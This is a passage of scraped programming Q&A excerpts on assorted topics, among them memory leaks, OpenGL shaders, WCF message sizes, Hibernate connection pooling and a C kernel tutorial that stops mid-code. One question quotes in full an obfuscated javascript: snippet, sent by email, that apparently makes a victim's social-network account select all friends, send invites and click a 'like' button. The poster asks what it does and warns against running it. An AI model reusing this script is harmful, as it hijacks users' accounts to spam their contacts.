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  • iPhone - Memory Management - Using Leaks tool and getting some bizarre readings.

    - by Robert
    Hey all, putting the finishing touches on a project of mine so I figured I would run through it and see if and where I had any memory leaks. Found and fixed most of them but there are a couple of things regarding the memory leaks and object alloc that I am confused about. 1) There are 2 memory leaks that do not show me as responsible. There are 8 leaks attributed to AudioToolbox with the function being RegisterEmbeddedAudioCodecs(). This accounts for about 1.5 kb of leaks. The other one is detected immediately when the app begins. Core Graphics is responsible with the extra info being open_handle_to_dylib_path. For the audio leak I have looked over my audio code and to me it seems ok. self.musicPlayer = [[AVAudioPlayer alloc] initWithContentsOfURL:[NSURL fileURLWithPath:songFilePath] error:NULL]; [musicPlayer prepareToPlay]; [musicPlayer play] is called later on in a function. 2) Is it normal for there to be a spike in Object Allocation whenever a new view or controller is presented? My total memory usage is very, very low except for whenever I present a view controller. It spikes then immediately goes back down. I am guessing that this is just the phone handling all the information for switching or something. Blegh. Wall of text. Thanks in advance to anyone who helps! =)

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  • Creating spotlight in OpenGL scene

    - by Victor Oliveira
    Im studying OpenGL and trying to create a spot light at my application. The code that Im using for my #vertex-shader is below: #:vertex-shader #{ #version 150 core in vec3 in_pos; in vec2 in_tc; out vec2 tc; glLightf(GL_LIGHT0, GL_SPOT_CUTOFF, 20.0f); GLfloat spot_direction[] = { -1.0, -1.0, 0.0 }; glLightfv(GL_LIGHT0, GL_SPOT_DIRECTION, spot_direction); glEnable(GL_LIGHT0); void main() { vec4 pos= vec4(vec3(1.0)*in_pos - vec3(1.0), 1.0); pos.z=0.0; gl_Position = pos; tc = in_tc; } } The thing is, everytime Im trying to run the code an Error that says: Type: other, Source: api, ID: 131169, Severity: low Message: Framebuffer detailed info: The driver allocated storage for renderbuffer 1. len = 157, written = 0 failed to compile vertex shader of deferred: directional info log for shader deferred: directional vertex info log for shader deferred: directional: ERROR: Unbound variable: when Specifications: Renderer: GeForce GTX 580/PCIe/SSE2 Version: 3.3.0 NVIDIA 319.17 GLSL: 3.30 NVIDIA via Cg compiler Status: Using GLEW 1.9.0 1024 x 768 OS: Linux debian I guess to create this spotlight is pretty much simple, but since Im really new to OpenGL I dont have a clue how to do it until now, even reading sources like: http://www.glprogramming.com/red/chapter05.html#name3 Read also in some place that light spots can get really hard to understand, but I cant avoid this step right now since Im following my lecture schedule. Could anybody help me?

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  • ASP.NET MVC View ReRenders Part of Itself

    - by Jason
    In all my years of .NET programming I have not run across a bug as weird as this one. I discovered the problem because some elements on the page were getting double-bound by jQuery. After some (ridiculous) debugging, I finally discovered that once the view is completely done rendering itself and all its children partial views, it goes back to an arbitrary yet consistent location and re-renders itself. I have been pulling my hair out about this for two days now and I simply cannot get it to render itself only once! For lack of any better debugging idea, I've painstakingly added logging tracers throughout the HTML just so I can pin down what may be causing this. For instance, this code ($log just logs to the console): ... <script type="text/javascript">var x = 0; $log('1');</script> <div id="new-ad-form"> <script type="text/javascript">x++;$log('1.5', x);</script> ... will yield ... <--- this happens before this snippet 1 1.5 1 ... 10 <--- bottom of my form, after snippet 1.5 2 <--- beginning of part that runs again! ... 9 <--- this happens after this snippet I've searched my codebase high and low, but there is NOTHING that says that it should re-render part of a page. I'm wondering if the jQueryUI has anything to do with it, as #new-ad-form is the container for a jQueryUI dialog box. If this is potentially the case, here's my init code for that: $('#new-ad-form').dialog({ autoOpen: false, modal: true, width: 470, title: 'Create A New Ad', position: ['center', 35], close: AdEditor.reset });

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  • Saving complex aggregates using Repository Pattern

    - by Kevin Lawrence
    We have a complex aggregate (sensitive names obfuscated for confidentiality reasons). The root, R, is composed of collections of Ms, As, Cs, Ss. Ms have collections of other low-level details. etc etc R really is an aggregate (no fair suggesting we split it!) We use lazy loading to retrieve the details. No problem there. But we are struggling a little with how to save such a complex aggregate. From the caller's point of view: r = repository.find(id); r.Ps.add(factory.createP()); r.Cs[5].updateX(123); r.Ms.removeAt(5); repository.save(r); Our competing solutions are: Dirty flags Each entity in the aggregate in the aggregate has a dirty flag. The save() method in the repository walks the tree looking for dirty objects and saves them. Deletes and adds are a little trickier - especially with lazy-loading - but doable. Event listener accumulates changes. Repository subscribes a listener to changes and accumulates events. When save is called, the repository grabs all the change events and writes them to the DB. Give up on repository pattern. Implement overloaded save methods to save the parts of the aggregate separately. The original example would become: r = repository.find(id); r.Ps.add(factory.createP()); r.Cs[5].updateX(123); r.Ms.removeAt(5); repository.save(r.Ps); repository.save(r.Cs); repository.save(r.Ms); (or worse) Advice please! What should we do?

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  • Generate a set of strings with maximum edit distance

    - by Kevin Jacobs
    Problem 1: I'd like to generate a set of n strings of fixed length m from alphabet s such that the minimum Levenshtein distance (edit distance) between any two strings is greater than some constant c. Obviously, I can use randomization methods (e.g., a genetic algorithm), but was hoping that this may be a well-studied problem in computer science or mathematics with some informative literature and an efficient algorithm or three. Problem 2: Same as above except that adjacent characters cannot repeat; the i'th character in each string may not be equal to the i+1'th character. E.g., 'CAT', 'AGA' and 'TAG' are allowed, 'GAA', 'AAT', and 'AAA' are not. Background: The basis for this problem is bioinformatic and involves designing unique DNA tags that can be attached to biologically derived DNA fragments and then sequenced using a fancy second generation sequencer. The goal is to be able to recognize each tag, allowing for random insertion, deletion, and substitution errors. The specific DNA sequencing technology has a relatively low error rate per base (~1%), but is less precise when a single base is repeated 2 or more times (motivating the additional constraints imposed in problem 2).

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  • DSP - Filtering frequencies using DFT

    - by Trap
    I'm trying to implement a DFT-based 8-band equalizer for the sole purpose of learning. To prove that my DFT implementation works I fed an audio signal, analyzed it and then resynthesized it again with no modifications made to the frequency spectrum. So far so good. I'm using the so-called 'standard way of calculating the DFT' which is by correlation. This method calculates the real and imaginary parts both N/2 + 1 samples in length. To attenuate a frequency I'm just doing: float atnFactor = 0.6; Re[k] *= atnFactor; Im[k] *= atnFactor; where 'k' is an index in the range 0 to N/2, but what I get after resynthesis is a slighty distorted signal, especially at low frequencies. The input signal sample rate is 44.1 khz and since I just want a 8-band equalizer I'm feeding the DFT 16 samples at a time so I have 8 frequency bins to play with. Can someone show me what I'm doing wrong? I tried to find info on this subject on the internet but couldn't find any. Thanks in advance.

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  • Altruistic network connection bandwidth estimation

    - by datenwolf
    Assume two peers Alice and Bob connected over a IP network. Alice and Bob are exchanging packets of lossy compressed data which are generated and to be consumes in real time (think a VoIP or video chat application). The service is designed to cope with as little bandwidth available, but relies on low latencies. Alice and Bob would mark their connection with an apropriate QoS profile. Alice and Bob want use a variable bitrate compression and would like to consume all of the leftover bandwidth available for the connection between them, but would voluntarily reduce the consumed bitrate depending on the state of the network. However they'd like to retain a stable link, i.e. avoid interruptions in their decoded data stream caused by congestion and the delay until the bandwidth got adjusted. However it is perfectly possible for them to loose a few packets. TL;DR: Alice and Bob want to implement a VoIP protocol from scratch, and are curious about bandwidth and congestion control. What papers and resources do you suggest for Alice and Bob to read? Mainly in the area of bandwidth estimation and congestion control.

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  • How to test a struts 2.1.x developer?

    - by Jason Pyeron
    We employ test to filter out those who can't. The tests are designed to be very low effort for those who can and too much effort for those who can't. Here is an example for java web application developer on an Oracle project: We only work with contractors who can use the tools we use, to determine if you can use the tools we have devised some very simple tests. Instructions If you are prepared and knowledgeable this will take you about 2-5 minutes. Suggested knowledge and tools: * subversion 1.6 see http://subversion.tigris.org/ or http://cygwin.com/setup.exe * java 1.6 see http://java.sun.com/javase/downloads/index.jsp * oracle >=10g see http://www.oracle.com/technology/software/products/jdev/index.html * j2ee server see http://tomcat.apache.org/download-55.cgi or http://www.jboss.org/jbossas/downloads/ Steps 1. check out svn://statics32.pdinc.us/home/subversion/guest 2. deploy the war file found at trunk/test.war 3. browse to the web application you installed from the war file and answer the one SQL question: How many rows are in the table 'testdata' where column 'value' ends with either an 'A' or an 'a'? The login credentials are in trunk/doc/oracle.txt 4. make a RESULTS HASH by submitting your answer to the form. 5. create a file in tmp/YourUserName.txt and put the RESULTS HASH in it, not the answer. 6. check in your file (don't forget to add the file first). 7. message me with the revision number of your check in. As such I am looking for ideas on how to test for someone to be a struts 2.1 w/ annotations.

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  • C#.NET DataGridView - update database

    - by Geo Ego
    I know this is a basic function of the DataGridView, but for some reason, I just can't get it to work. I just want the DataGridView on my Windows form to submit any changes made to it to the database when the user clicks the "Save" button. On form load, I populate the DataGridView and that's working fine. In my save function, I basically have the following (I've trimmed out some of the code around it to get to the point): using (SqlDataAdapter ruleTableDA = new SqlDataAdapter("SELECT rule.fldFluteType AS [Flute], rule.fldKnife AS [Knife], rule.fldScore AS [Score], rule.fldLowKnife AS [Low Knife], rule.fldMatrixScore AS [Matrix Score], rule.fldMatrix AS [Matrix] FROM dbo.tblRuleTypes rule WHERE rule.fldMachine_ID = '1003'", con)) { SqlCommandBuilder commandBuilder = new SqlCommandBuilder(ruleTableDA); DataTable dt = new DataTable(); dt = RuleTable.DataSource as DataTable; ruleTableDA.Fill(dt); ruleTableDA.Update(dt); } Okay, so I edited the code to do the following: build the commands, create a DataTable based on the DataGridView (RuleTable), fill the DataAdapter with the DataTable, and update the database. Now ruleTableDA.Update(dt) is throwing the exception "Concurrency violation: the UpdateCommand affected 0 of the expected 1 records." Thanks very much!

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  • Handling XMLHttpRequest to call external application

    - by Ian
    I need a simple way to use XMLHttpRequest as a way for a web client to access applications in an embedded device. I'm getting confused trying to figure out how to make something thin and light that handles the XMLHttpRequests coming to the web server and can translate those to application calls. The situation: The web client using Ajax (ExtJS specifically) needs to send and receive asynchronously to an existing embedded application. This isn't just to have a thick client/thin server, the client needs to run background checking on the application status. The application can expose a socket interface, with a known set of commands, events, and configuration values. Configuration could probably be transmitted as XML since it comes from a SQLite database. In between the client and app is a lighttpd web server running something that somehow handles the translation. This something is the problem. What I think I want: Lighttpd can use FastCGI to route all XMLHttpRequest to an external process. This process will understand HTML/XML, and translate between that and the application's language. It will have custom logic to simulate pushing notifications to the client (receive XMLHttpRequest, don't respond until the next notification is available). C/C++. I'd really like to avoid installing Java/PHP/Perl on an embedded device. So I'll need more low level understanding. How do I do this? Are there good C++ libraries for interpreting the CGI headers and HTML so that I don't have to do any syntax processing, I can just deal with the request/response contents? Are there any good references to exactly what goes on, server side, when handling the XMLHttpRequest and CGI interfaces? Is there any package that does most of this job already, or will I have to build the non-HTTP/CGI stuff from scratch? Thanks for any help! I am really having trouble learning about the server side of these technologies.

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  • How to generate random numbers of lognormal distribution within specific range in Matlab

    - by Harpreet
    My grain sizes are defined as D=[1.19,1.00,0.84,0.71,0.59,0.50,0.42]. The problem is described below in steps. Grain sizes should follow lognormal distribution. The mean of the grain sizes is fixed as 0.84 and the standard deviation should be as low as possible but not zero. 90% of the grains (by weight %) fall in the size range of 1.19 to 0.59, and the rest 10% fall in size range of 0.50 to 0.42. Now I want to find the probabilities (weight percentage) of the grains falling in each grain size. It is allowable to split this grain size distribution into further small sizes but it must always be in the range of 1.19 and 0.42, i.e. 'D' can be continuous but 0.42 < D < 1.19. I need it fast. I tried on my own but I am not able to get the correct result. I am getting negative probabilities (weight percentages). Thanks to anyone who helps. I didn't incorporate the point 3 as I came to know about that condition later. Here are simple steps I tried: %% D=[1.19,1.00,0.84,0.71,0.59,0.50,0.42]; s=0.30; % std dev of the lognormal distribution m=0.84; % mean of the lognormal distribution mu=log(m^2/sqrt(s^2+m^2)); % mean of the associated normal dist. sigma=sqrt(log((s^2/m^2)+1)); % std dev of the associated normal dist. [r,c]=size(D); for i=1:c D(i)=mu+(sigma.*randn(1)); w(i)=(log(D(i))-mu)/sigma; % the probability or the wt. percentage of the grain sizes end grain_size=exp(D); %%

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  • Payment Processors - What do I need to know if I want to accept credit cards on my website?

    - by Michael Pryor
    This question talks about different payment processors and what they cost, but I'm looking for the answer to what do I need to do if I want to accept credit card payments? Assume I need to store credit card numbers for customers, so that the obvious solution of relying on the credit card processor to do the heavy lifting is not available. PCI Data Security, which is apparently the standard for storing credit card info, has a bunch of general requirements, but how does one implement them? And what about the vendors, like Visa, who have their own best practices? Do I need to have keyfob access to the machine? What about physically protecting it from hackers in the building? Or even what if someone got their hands on the backup files with the sql server data files on it? What about backups? Are there other physical copies of that data around? Tip: If you get a merchant account, you should negotiate that they charge you "interchange-plus" instead of tiered pricing. With tiered pricing, they will charge you different rates based on what type of Visa/MC is used -- ie. they charge you more for cards with big rewards attached to them. Interchange plus billing means you only pay the processor what Visa/MC charges them, plus a flat fee. (Amex and Discover charge their own rates directly to merchants, so this doesn't apply to those cards. You'll find Amex rates to be in the 3% range and Discover could be as low as 1%. Visa/MC is in the 2% range). This service is supposed to do the negotiation for you (I haven't used it, this is not an ad, and I'm not affiliated with the website, but this service is greatly needed.) This blog post gives a complete rundown of handling credit cards (specifically for the UK).

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  • DVCS with a Windows central repository

    - by Mikko Rantanen
    We are currently using VSS for version control. Quite few of our developers are interested in a distributed model (And want to get rid of VSS). Our network is full of Windows machines and while our IT department has experience maintaining Linux machines they would prefer not to. What DVCS systems can host their central repository on Windows while providing.. Push access to the repository. Basic authentication. Mostly just a way to allow or deny access to the whole repository. No need for fine grained access. Server process so users don't need write right to the repository reducing the risk of accidentally messing with it. On the client side a GUI such as Tortoise would be more or less a requirement (Sorry, Windows shell sucks. :|). Ease of installation would be a huge plus as our IT department is already quite low on resources. And using windows credentials for authentication would be an advantage but not a requirement as long as the client is able to store the credentials. I have had a (really) quick look at Git, Mercurial and Bazaar. Git seemed to use ssh or simple WebDAV for repository access, requiring write permission for the users. Mercurial had a built in http server, but this seemed to be only for pull purposes. Update: Mercurial supports push as well. Bazaar Seemed to use sftp for repository access, again requiring a write permission for the users. Are there windows server processes for any DVCS systems and has anyone managed to set one up in a Windows land? And apologies if this is a duplicate question. I couldn't find one. Update Got Mercurial working for push purposes! Detailed list what was required can be found as an answer below.

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  • Problem with load testing Web Service - VSTS 2008

    - by Carlos
    Hello, I have a webtest with makes a simple call to a WebService which looks like that: MyWebService webService = new MyWebService(); webService.Timeout = 180000; webService.myMethod(); I am not using ThinkTimes, also the Run Duration is set to 5 minutes. When I ran this test simulating only 1 user, I check the counters and I found something like that: Tests Total: 4500 Network Interface\Bytes sent (agent machine): 35,500 Then I ran the same tests, but this time simulating 2 users and I got something like that: Tests Total: 2225 Network Interface\Bytes sent (agent machine): 30,500 So when I increased the numbers of users the tests/sec was half than when I use only 1 user and the bytes sent by the agent was also lower. I think it is strange, because it doesn't seems I have a bottleneck in my agent machine since CPU is never higher than 30% and I have over 1.5GB of RAM free, also my network utilization is like 0.5% of its capacity. In order to troubleshot this I ran a test using Step Pattern, the simulated users went from 20 to 800 users. When I check the requests/sec it is practically constant through the whole test, so it is clear there is something in my test or my environment which is preventing the number of requests from gets higher. It would be a expected behavior if the "response time" was getting higher because it would tell me the requests wasn't been processed properly, but the strange thing is the response time is practically constant all the time and it is pretty low actually. I have no idea why my agent can't send more requests when I increase the numbers of users, any help/tip/guess would be really appreciate.

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  • Can iPad/iPhone Touch Points be Wrong Due to Calibration?

    - by Kristopher Johnson
    I have an iPad application that uses the whole screen (that is, UIStatusBarHidden is set true in the Info.plist file). The main window's frame is set to (0, 0, 768, 1024), as is the main view in that frame. The main view has multitouch enabled. The view has code to handle touches: - (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event { for (UITouch *touch in touches) { CGPoint location = [touch locationInView:nil]; NSLog(@"touchesMoved at location %@", NSStringFromCGPoint(location)); } } When I run the app in the simulator, it works pretty much as expected. As I move the mouse from one edge of the screen to the other, reported X values go from 0 to 767. Reported Y values go from 20 to 1023, but it is a known issue that the simulator doesn't report touches in the top 20 pixels of the screen, even when there is no status bar. Here's what's weird: When I run the app on an actual iPad, the X values go from 0 to 767 as expected, but reported Y values go from -6 to 1017. The fact that it seems to work properly on the simulator leads me to suspect that real devices' touchscreens are not perfectly calibrated, and mine is simply reporting values six pixels too low. Can anyone verify that this is the case? Otherwise, is there anything else that could account for the Y values being six pixels off from what I expect? (In a few days, I should have a second iPad, so I can test this with another device and compare the results.)

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  • Load Spikes on a Apache MySQL Server with Wordpress MU

    - by Vikram Goyal
    Hi there, I am trying to investigate the reasons for some mysterious load spikes on a Linux Apache server (2.2.14) running PHP 5.2.9 on a dedicated server with enough processing power and memory. My primary web application is a Wordpress MU (2.9.2) installation. I have investigated and ruled out DOS attack, MySQL or Apache configuration issues. The log files don't give me anything of interest, except to tell me that there is severe load. The load (which can go up to 100) just seems to come and go. It helps that I have a script that checks every 3 minutes for the load, and restarts Apache. Restarting it helps, and the server comes back, till it happens again. There seems to be no set time frame, or visitor numbers on the site that can trigger this. Even a low number of concurrent visitors (20) can trigger it. I am almost convinced that there is a rewrite loop somewhere that is causing Apache to go mad. Apache is trying to serve something that is causing it to spawn more and more processes till it keels over. My question is: Given that I am convinced that this is a rewrite issue or something similar, how can I try and figure out what the issue is? What should I monitor? Apache logs are voluminous, and not very helpful. Of course, if this is not the issue, then at least knowing what to look for will help me eliminate this as an issue and look for something else. Thanks! Vikram

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  • Returning large collections from WCF Serivce

    - by Nate Bross
    I'm trying to determine the best approach for building a WCF Service, and the area I'm struggling with most is returning lists of objects. The built-in maxMessageSize of 64k seems pretty high, and I really don't want to bump it up (quick googling finds 100s of places bumping the maxMessageSize up to multi-gigabyte range which seems foolish). But, when I'm returning a collection of objects (~150 items) I am exceeding the default 64k. I'm almost to the point of returning my own class which inherits IEnumerable and has properties for hasNext, hasPrevious and PageSize so that I can implement paging on the client side -- this seems like alot of code. The other option is to jackup the maxMessageSize and hope for the best, but that feels wrong. All other aspects of my service are working great, its just returning large collectiosn where I'm having issues. For background, there are two types of consumers of this service, UI applications which will be primarly web and/or wpf applications, and data processing applications, .NET console apps, and maybe some other non-UI apps. For the UI applications, I would like to keep them responsive and keep the messageSize low, on the console apps it doesn't matter as much as they are just pulling data down to do processing and push it back up to the service.

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  • Cross-Platform Language + GUI Toolkit for Prototyping Multimedia Applications

    - by msutherl
    I'm looking for a language + GUI toolkit for rapidly prototyping utility applications for multimedia installations. I've been working with Max/MSP/Jitter for many years, but I'd like to add a text-based language to my 'arsenal' for tasks apart from 'content production'. (When it comes to actual media synthesis, my choices are clear [SuperCollider + MSP for audio, Jitter + Quartz + openFrameworks for video]). I'm looking for something that maintains some of the advantages of Max, but is lower-level, faster, more cross-platfrom (Linux support), and text-based. Integration with powerful sound/video libraries is not a requirement. Some requirements: Cross-platform (at least OSX and Linux, Windows is a plus) Fast and easy cross-platform GUIs with no platform-specific modification GUI code separated from backend code as much as possible Good for interfacing with external serial devices (micro-controllers) Good network support (UDP/TCP) Good libraries for multi-media (video, sound, OSC) are a plus Asynchronous synchronous UNIX integration is a plus The options that come to mind: AS3/Flex (not a fan of AS3 or the idea of running in the Flash Player) openFrameworks (C++ framework, perhaps a bit too low level [looking for fast development time] and biased toward video work) Java w/ Processing libraries (like openFrameworks, just slower) Python + Qt (is Qt appropriate for rapid prototyping?) Python + Another GUI toolkit SuperCollider + Swing (yucky GUI development) Java w/ SWT Any other options? What do you recommend?

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  • What do you use to play sound in iPhone games?

    - by zoul
    Hello! I have a performance-intensive iPhone game I would like to add sounds to. There seem to be about three main choices: (1) AVAudioPlayer, (2) Audio Queues and (3) OpenAL. I’d hate to write pages of low-level code just to play a sample, so that I would like to use AVAudioPlayer. The problem is that it seems to kill the performace – I’ve done a simple measuring using CFAbsoluteTimeGetCurrent and the play message seems to take somewhere from 9 to 30 ms to finish. That’s quite miserable, considering that 25 ms == 40 fps. Of course there is the prepareToPlay method that should speed things up. That’s why I wrote a simple class that keeps several AVAudioPlayers at its disposal, prepares them beforehand and then plays the sample using the prepared player. No cigar, still it takes the ~20 ms I mentioned above. Such performance is unusable for games, so what do you use to play sounds with a decent performance on iPhone? Am I doing something wrong with the AVAudioPlayer? Do you play sounds with Audio Queues? (I’ve written something akin to AVAudioPlayer before 2.2 came out and I would love to spare that experience.) Do you use OpenAL? If yes, is there a simple way to play sounds with OpenAL, or do you have to write pages of code? Update: Yes, playing sounds with OpenAL is fairly simple.

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  • Hibernate JDBCConnectionException: Communications link failure and java.io.EOFException: Can not read response from server

    - by Marc
    I get a quite well-known using MySql jdbc driver : JDBCConnectionException: Communications link failure, java.io.EOFException: Can not read response from server. This is caused by the wait_timeout parameter in my.cnf. So I decided to use c3p0 pool connection along with Hibernate. Here is what I added to hibernate.cfg.xml : <property name="hibernate.connection.provider_class">org.hibernate.connection.C3P0ConnectionProvider</property> <property name="c3p0.min_size">10</property> <property name="c3p0.max_size">100</property> <property name="c3p0.timeout">1000</property> <property name="c3p0.preferredTestQuery">SELECT 1</property> <property name="c3p0.acquire_increment">1</property> <property name="c3p0.idle_test_period">2</property> <property name="c3p0.max_statements">50</property> idle_test_period is volontarily low for test purposes. Looking at the mysql logs I can see the "SELECT 1" request which is regularly sent to the mysql server so it works. Unfortunately I still get this EOF exception within my app if I wait longer than 'wait_timout' seconds (set to 10 for test purposes). I'm using Hibernate 4.1.1 and mysql-jdbc-connector 5.1.18. So what am I doing wrong? Thanks, Marc.

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  • How do I detect if both left and right buttons are pushed?

    - by Greg McGuffey
    I would like have three mouse actions over a control: left, right and BOTH. I've got the left and right and am currently using the middle button for the third, but am curious how I could use the left and right buttons being pressed together, for those situations where the user has a mouse without a middle button. This would be handled in the OnMouseDown method of a custom control. UPDATE After reviewing the suggested answers, I need to clarify that what I was attempting to do was to take action on the mouse click in the MouseDown event (actually OnMouseDown method of a control). Because it appears that .NET will always raise two MouseDown events when both the left and right buttons on the mouse are clicked (one for each button), I'm guessing the only way to do this would be either do some low level windows message management or to implement some sort of delayed execution of an action after MouseDown. In the end, it is just way simpler to use the middle mouse button. Now, if the action took place on MouseUp, then Gary's or nos's suggestions would work well. Any further insights on this problem would be appreciated. Thanks!

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  • Convert pre-IEEE-574 C++ floating-point numbers to/from C#

    - by Richard Kucia
    Before .Net, before math coprocessors, before IEEE-574, Microsoft defined a bit pattern for floating-point numbers. Old versions of the C++ compiler happily used that definition. I am writing a C# app that needs to read/write such floating-point numbers in a file. How can I do the conversions between the 2 bit formats? I need conversion methods in both directions. This app is going to run in a PocketPC/WinCE environment. Changing the structure of the file is out-of-scope for this project. Is there a C++ compiler option that instructs it to use the old FP format? That would be ideal. I could then exchange data between the C# code and C++ code by using a null-terminated text string, and the C++ methods would be simple wrappers around sprintf and atof functions. At the very least, I'm hoping someone can reply with the bit definitions for the old FP format, so I can put together a low-level bit manipulation algorithm if necessary. Thanks.

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  • What does this code do

    - by Wardy
    Ok someone who happens to be a good friend of mine is sending me some odd emails lately one of which was a link to a page that asks you to copy and paste this in to your address bar in your browser then execute it ... javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); Not being totally with it when it comes to low level programming i'm curious as to what the email is asking here ... PLEASE DO NOT RUN THIS CODE UNLESS YOU ARE HAPPY THAT IT WILL NOT BREAK ANYTHING. But ... Could someone tell me what it does?

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  • Problem running a Python program, error: Name 's' is not defined.

    - by Sergio Tapia
    Here's my code: #This is a game to guess a random number. import random guessTaken = 0 print("Hello! What's your name kid") myName = input() number = random.randint(1,20) print("Well, " + myName + ", I'm thinking of a number between 1 and 20.") while guessTaken < 6: print("Take a guess.") guess = input() guess = int(guess) guessTaken = guessTaken + 1 if guess < number: print("You guessed a little bit too low.") if guess > number: print("You guessed a little too high.") if guess == number: break if guess == number: guessTaken = str(guessTaken) print("Well done " + myName + "! You guessed the number in " + guessTaken + " guesses!") if guess != number: number = str(number) print("No dice kid. I was thinking of this number: " + number) This is the error I get: Name error: Name 's' is not defined. I think the problem may be that I have Python 3 installed, but the program is being interpreted by Python 2.6. I'm using Linux Mint if that can help you guys help me. Using Geany as the IDE and pressing F5 to test it. It may be loading 2.6 by default, but I don't really know. :( Edit: Error 1 is: File "GuessingGame.py", line 8, in <Module> myName = input() Error 2 is: File <string>, line 1, in <Module>

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  • undefined reference to function, despite giving reference in c

    - by Jamie Edwards
    I'm following a tutorial, but when it comes to compiling and linking the code I get the following error: /tmp/cc8gRrVZ.o: In function `main': main.c:(.text+0xa): undefined reference to `monitor_clear' main.c:(.text+0x16): undefined reference to `monitor_write' collect2: ld returned 1 exit status make: *** [obj/main.o] Error 1 What that is telling me is that I haven't defined both 'monitor_clear' and 'monitor_write'. But I have, in both the header and source files. They are as follows: monitor.c: // monitor.c -- Defines functions for writing to the monitor. // heavily based on Bran's kernel development tutorials, // but rewritten for JamesM's kernel tutorials. #include "monitor.h" // The VGA framebuffer starts at 0xB8000. u16int *video_memory = (u16int *)0xB8000; // Stores the cursor position. u8int cursor_x = 0; u8int cursor_y = 0; // Updates the hardware cursor. static void move_cursor() { // The screen is 80 characters wide... u16int cursorLocation = cursor_y * 80 + cursor_x; outb(0x3D4, 14); // Tell the VGA board we are setting the high cursor byte. outb(0x3D5, cursorLocation >> 8); // Send the high cursor byte. outb(0x3D4, 15); // Tell the VGA board we are setting the low cursor byte. outb(0x3D5, cursorLocation); // Send the low cursor byte. } // Scrolls the text on the screen up by one line. static void scroll() { // Get a space character with the default colour attributes. u8int attributeByte = (0 /*black*/ << 4) | (15 /*white*/ & 0x0F); u16int blank = 0x20 /* space */ | (attributeByte << 8); // Row 25 is the end, this means we need to scroll up if(cursor_y >= 25) { // Move the current text chunk that makes up the screen // back in the buffer by a line int i; for (i = 0*80; i < 24*80; i++) { video_memory[i] = video_memory[i+80]; } // The last line should now be blank. Do this by writing // 80 spaces to it. for (i = 24*80; i < 25*80; i++) { video_memory[i] = blank; } // The cursor should now be on the last line. cursor_y = 24; } } // Writes a single character out to the screen. void monitor_put(char c) { // The background colour is black (0), the foreground is white (15). u8int backColour = 0; u8int foreColour = 15; // The attribute byte is made up of two nibbles - the lower being the // foreground colour, and the upper the background colour. u8int attributeByte = (backColour << 4) | (foreColour & 0x0F); // The attribute byte is the top 8 bits of the word we have to send to the // VGA board. u16int attribute = attributeByte << 8; u16int *location; // Handle a backspace, by moving the cursor back one space if (c == 0x08 && cursor_x) { cursor_x--; } // Handle a tab by increasing the cursor's X, but only to a point // where it is divisible by 8. else if (c == 0x09) { cursor_x = (cursor_x+8) & ~(8-1); } // Handle carriage return else if (c == '\r') { cursor_x = 0; } // Handle newline by moving cursor back to left and increasing the row else if (c == '\n') { cursor_x = 0; cursor_y++; } // Handle any other printable character. else if(c >= ' ') { location = video_memory + (cursor_y*80 + cursor_x); *location = c | attribute; cursor_x++; } // Check if we need to insert a new line because we have reached the end // of the screen. if (cursor_x >= 80) { cursor_x = 0; cursor_y ++; } // Scroll the screen if needed. scroll(); // Move the hardware cursor. move_cursor(); } // Clears the screen, by copying lots of spaces to the framebuffer. void monitor_clear() { // Make an attribute byte for the default colours u8int attributeByte = (0 /*black*/ << 4) | (15 /*white*/ & 0x0F); u16int blank = 0x20 /* space */ | (attributeByte << 8); int i; for (i = 0; i < 80*25; i++) { video_memory[i] = blank; } // Move the hardware cursor back to the start. cursor_x = 0; cursor_y = 0; move_cursor(); } // Outputs a null-terminated ASCII string to the monitor. void monitor_write(char *c) { int i = 0; while (c[i]) { monitor_put(c[i++]); } } void monitor_write_hex(u32int n) { s32int tmp; monitor_write("0x"); char noZeroes = 1; int i; for (i = 28; i > 0; i -= 4) { tmp = (n >> i) & 0xF; if (tmp == 0 && noZeroes != 0) { continue; } if (tmp >= 0xA) { noZeroes = 0; monitor_put (tmp-0xA+'a' ); } else { noZeroes = 0; monitor_put( tmp+'0' ); } } tmp = n & 0xF; if (tmp >= 0xA) { monitor_put (tmp-0xA+'a'); } else { monitor_put (tmp+'0'); } } void monitor_write_dec(u32int n) { if (n == 0) { monitor_put('0'); return; } s32int acc = n; char c[32]; int i = 0; while (acc > 0) { c[i] = '0' + acc%10; acc /= 10; i++; } c[i] = 0; char c2[32]; c2[i--] = 0; int j = 0; while(i >= 0) { c2[i--] = c[j++]; } monitor_write(c2); } monitor.h: // monitor.h -- Defines the interface for monitor.h // From JamesM's kernel development tutorials. #ifndef MONITOR_H #define MONITOR_H #include "common.h" // Write a single character out to the screen. void monitor_put(char c); // Clear the screen to all black. void monitor_clear(); // Output a null-terminated ASCII string to the monitor. void monitor_write(char *c); #endif // MONITOR_H common.c: // common.c -- Defines some global functions. // From JamesM's kernel development tutorials. #include "common.h" // Write a byte out to the specified port. void outb ( u16int port, u8int value ) { 